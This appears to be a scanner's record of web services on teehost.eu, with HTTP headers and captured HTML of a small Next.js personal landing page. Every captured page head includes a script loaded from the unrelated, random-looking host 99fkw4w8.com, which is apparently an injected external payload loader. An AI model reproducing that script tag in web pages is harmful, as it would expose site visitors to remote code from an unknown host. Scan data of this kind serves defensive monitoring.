Domain teehost.eu
CLOUDFLARENET
Software information

cloudflare cloudflare

tcp/443 tcp/80 tcp/8443

  • Open service 172.67.135.34:8443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 522 <none>
    Date: Sun, 25 Jan 2026 20:18:27 GMT
    Content-Type: text/plain; charset=UTF-8
    Content-Length: 15
    Connection: close
    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Expires: Thu, 01 Jan 1970 00:00:01 GMT
    Referrer-Policy: same-origin
    X-Frame-Options: SAMEORIGIN
    Server: cloudflare
    CF-RAY: 9c3a754229adfdec-SIN
    alt-svc: h3=":8443"; ma=86400
    
    
    error code: 522
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3031::6815:1a0e:8443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 522 <none>
    Date: Sun, 25 Jan 2026 20:18:27 GMT
    Content-Type: text/plain; charset=UTF-8
    Content-Length: 15
    Connection: close
    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Expires: Thu, 01 Jan 1970 00:00:01 GMT
    Referrer-Policy: same-origin
    X-Frame-Options: SAMEORIGIN
    Server: cloudflare
    CF-RAY: 9c3a75426ead4419-BOM
    alt-svc: h3=":8443"; ma=86400
    
    
    error code: 522
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3031::6815:1a0e:80 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sn5o65N4jBidOe5eDQAIuUUUIfm3ZGwJ5zTx8zHpB2hzU%2BOidVd0FA83Jh%2FUUJV%2Fh2PGKP%2FdcmwYBj5VJuKJ%2BnIlUvIaLBikwCrURUY%2BOffTWCvN"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753cb9e2375e-EWR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 172.67.135.34:80 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=e2EKxmmjzJW%2F4KWypKFl07fnD0gUdGKP2FdtPiJnubGah%2FSQrhbHm%2B5E0fnnyExRbDW0TmrvE6DKpXfdM91C%2FFXM%2FexxudO4kd8%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753c68855f83-EWR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1jh%2BO7OXJE8ohqkIexqfSW5Q1KaXk7E%2FexolijPR9SXx%2FvTBZFdp68b7FA54JNexaeqFTR0Vz%2F8vtkgX%2FsNbIPKCF4WiKSJXhr0%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753b6a13fe96-AMS
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3031::6815:1a0e:443 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=fAYvsVODk1PQIIpS3Zbo6GH2Dby7HB5xjIYfmQaDMWtTcGNihnj1s%2BpCVKBEy8sQr9E2sThNCRfs4bpifNt18zXhOfyXd3O%2FXn4%2BZXJ5s%2Fqsipr92GU%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753b5b179211-FRA
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 2606:4700:3033::ac43:8722:80 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Xil4iWco64i%2Fva80lYEDBj1K4r2KLGhENO1KfBRxKuAirgCCVb8e1Bm5is9RXNmL0Fi4ljQaXSEyRToonJ8zQ7NKxHy3%2FlX4hmuWOFci6yP5V6RI%2FfE%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c3a753b3f07ccf7-FRA
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-25 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-25 20:18

    HTTP/1.1 200 OK
    Date: Sun, 25 Jan 2026 20:18:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
